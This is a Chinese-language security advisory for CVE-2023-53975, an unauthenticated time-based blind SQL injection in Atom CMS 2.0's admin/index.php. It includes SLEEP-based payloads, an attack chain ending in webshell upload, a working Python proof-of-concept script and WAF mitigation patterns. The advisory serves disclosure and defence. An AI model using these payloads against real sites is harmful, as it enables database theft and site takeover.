IPBUF安全漏洞报告
English
CVE-2023-53975 CVSS 7.5 高危

CVE-2023-53975 Atom CMS 2.0 admin/index.php SQL注入漏洞

披露日期: 2025-12-22

漏洞信息

漏洞编号
CVE-2023-53975
漏洞类型
SQL注入
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Atom CMS 2.0

相关标签

SQL注入时间盲注Atom CMSCVE-2023-53975未授权访问Web应用安全数据库泄露

漏洞概述

CVE-2023-53975是Atom CMS 2.0中存在的一个严重安全漏洞。该漏洞位于admin/index.php页面,攻击者可以通过未经验证的'id'参数注入恶意SQL代码。由于该参数直接拼接到SQL查询语句中而未经任何过滤或预处理,远程攻击者无需任何身份认证即可利用此漏洞执行时间盲注SQL注入攻击。时间盲注是一种高级SQL注入技术,攻击者通过观察应用程序响应时间的变化来推断数据库信息,即使应用程序不直接返回查询结果。此漏洞可导致数据库敏感信息泄露,包括用户凭证、管理员数据等。CVSS评分7.5(高危),攻击复杂度低,无需认证和用户交互,对数据完整性影响高。

技术细节

漏洞存在于Atom CMS 2.0的admin/index.php文件中,具体在处理'id'参数时未进行输入验证和参数化查询。攻击者构造恶意的SQL payload通过HTTP请求的id参数传递,SQL语句会被数据库执行。时间盲注的工作原理是:攻击者使用SLEEP()或BENCHMARK()等函数构造条件判断,如果条件为真则执行延时操作,通过比较响应时间差异来逐字符提取数据。典型的攻击payload格式如:id=1 AND (SELECT CASE WHEN (条件) THEN SLEEP(5) ELSE 0 END)。攻击者可利用此方法枚举数据库名、表名、字段名,最终获取管理员账户和密码哈希。由于漏洞位于管理后台路径,即使最终需要管理权限,利用此漏洞获取凭据后即可完全控制系统。

攻击链分析

STEP 1
步骤1
攻击者扫描互联网或特定目标,发现运行Atom CMS 2.0的网站
STEP 2
步骤2
访问/admin/index.php管理后台页面,无需认证即可访问
STEP 3
步骤3
构造恶意SQL payload,通过HTTP GET请求的id参数注入
STEP 4
步骤4
利用时间盲注技术,通过SLEEP()函数判断条件真假,逐步提取数据库信息
STEP 5
步骤5
枚举数据库名、表名、字段名,获取管理员用户表数据
STEP 6
步骤6
提取管理员用户名和密码哈希,离线破解或直接利用获取后台访问权限
STEP 7
步骤7
登录管理后台,上传webshell或修改网站内容,实现持久化控制

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import time # CVE-2023-53975 PoC - Time-based Blind SQL Injection # Target: Atom CMS 2.0 admin/index.php # Author: VulnCheck target_url = "http://target.com/admin/index.php" def sql_injection_test(payload): """Send SQL injection payload and measure response time""" params = {"id": payload} start_time = time.time() try: response = requests.get(target_url, params=params, timeout=30) elapsed = time.time() - start_time return elapsed, response.status_code except requests.exceptions.Timeout: return 30, 200 except Exception as e: print(f"Error: {e}") return 0, 0 def extract_data(): """Extract database version using time-based blind SQL injection""" # Test for vulnerability - if SLEEP(5) causes 5 second delay, vulnerability exists test_payload = "1 AND (SELECT * FROM (SELECT SLEEP(5))test)" print(f"[*] Testing for SQL injection vulnerability...") elapsed, status = sql_injection_test(test_payload) if elapsed >= 5: print(f"[+] Vulnerability confirmed! Response time: {elapsed:.2f}s") else: print(f"[-] Vulnerability not detected") return # Extract database version db_version_payload = "1 AND (SELECT CASE WHEN (SUBSTRING(@@version,1,1)='5') THEN SLEEP(5) ELSE 0 END)" print(f"[*] Extracting database version...") elapsed, _ = sql_injection_test(db_version_payload) if elapsed >= 5: print(f"[+] Database version starts with '5'") else: print(f"[+] Database version does not start with '5'") if __name__ == "__main__": print("CVE-2023-53975 Atom CMS SQL Injection PoC") print("=" * 50) extract_data()

影响范围

Atom CMS 2.0

防御指南

临时缓解措施
立即限制对/admin/index.php的访问权限,配置Web服务器规则阻止id参数的异常SQL字符。可临时使用ModSecurity等WAF规则拦截包含SLEEP、BENCHMARK、UNION SELECT等SQL注入特征的请求。最根本的修复是等待官方发布安全更新,同时使用参数化查询重写受影响代码模块。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表